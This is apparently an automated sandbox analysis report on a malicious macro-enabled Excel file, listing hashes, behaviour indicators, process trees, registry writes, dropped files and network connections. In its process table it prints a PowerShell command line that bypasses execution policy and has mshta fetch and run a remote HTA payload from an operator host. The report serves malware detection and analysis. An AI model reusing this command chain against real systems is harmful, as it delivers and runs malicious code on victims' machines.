| File name: | malexcel.xlsm |
| Full analysis: | https://app.any.run/tasks/ccda49a3-49c1-4455-8ca1-e1149b459ecb |
| Verdict: | Malicious activity |
| Analysis date: | November 04, 2023, 06:46:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | 2B042F536565D332347F2F0339A9A314 |
| SHA1: | A528B2D477226F1D76B4388D9A10C8453FB21163 |
| SHA256: | 86EB9A8C76AB2B3DE1784F394BD2808E7AE34AD0F9A0AAAD9297EB83C99E9008 |
| SSDEEP: | 192:ZkKLZuApX2LVXxuDDECkKQmRvjEogSPNsPAbIoSeVtmQpNieJDuPkmzM8H:BL8kX2JIkRmRvoLrwMeVxpmPkmz |
MALICIOUS
Changes powershell execution policy (Bypass)
- EXCEL.EXE (PID: 3440)
Starts POWERSHELL.EXE for commands execution
- EXCEL.EXE (PID: 3440)
Unusual execution from MS Office
- EXCEL.EXE (PID: 3440)
Microsoft Office executes commands via PowerShell or Cmd
- EXCEL.EXE (PID: 3440)
Bypass execution policy to execute commands
- powershell.exe (PID: 2932)
SUSPICIOUS
The process executes Powershell scripts
- EXCEL.EXE (PID: 3440)
Powershell version downgrade attack
- powershell.exe (PID: 2932)
Runs shell command (SCRIPT)
- EXCEL.EXE (PID: 3440)
Reads the Internet Settings
- mshta.exe (PID: 3412)
INFO
Reads Internet Explorer settings
- mshta.exe (PID: 3412)
Manual execution by a user
- explorer.exe (PID: 3664)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
|---|---|---|
| .xlsx | | | Excel Microsoft Office Open XML Format document (30) |
| .zip | | | Open Packaging Conventions container (15.4) |
| .zip | | | ZIP compressed archive (3.5) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0x513599ac |
| ZipCompressedSize: | 367 |
| ZipUncompressedSize: | 1087 |
| ZipFileName: | [Content_Types].xml |
XMP
| Creator: | user |
|---|
XML
| LastModifiedBy: | user |
|---|---|
| CreateDate: | 2022:04:12 00:34:44Z |
| ModifyDate: | 2022:04:12 00:37:08Z |
| Application: | Microsoft Excel |
| DocSecurity: | None |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | Sheet1 |
| Company: | - |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 16.03 |
Total processes
41
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2932 | powershell.exe -executionpolicy Bypass -command . $env:TEMP\OperatorConfig.ps1; C:\Windows\SysWOW64\mshta.exe $operatorhttp/payloads/51445684f61f2305356915e04c1202fb8ac0f422/malhta.hta | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3412 | "C:\Windows\SysWOW64\mshta.exe" /payloads/51445684f61f2305356915e04c1202fb8ac0f422/malhta.hta | C:\Windows\System32\mshta.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 3440 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3664 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 654
Read events
2 549
Write events
94
Delete events
11
Modification events
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: On | |||
| (PID) Process: | (3440) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1055 |
Value: On | |||
Executable files
0
Suspicious files
3
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3440 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR69F9.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\STFL7J8XL7TAU35C294Z.temp | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
| 2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF166d07.TMP | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
| 2932 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:C681106A4168B935996B10134404F885 | SHA256:89AB4ECFBB5C1FD07CF99465E36B1A08F51E2512AA60DDD616D4A37753FC112D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
5
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
2588 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |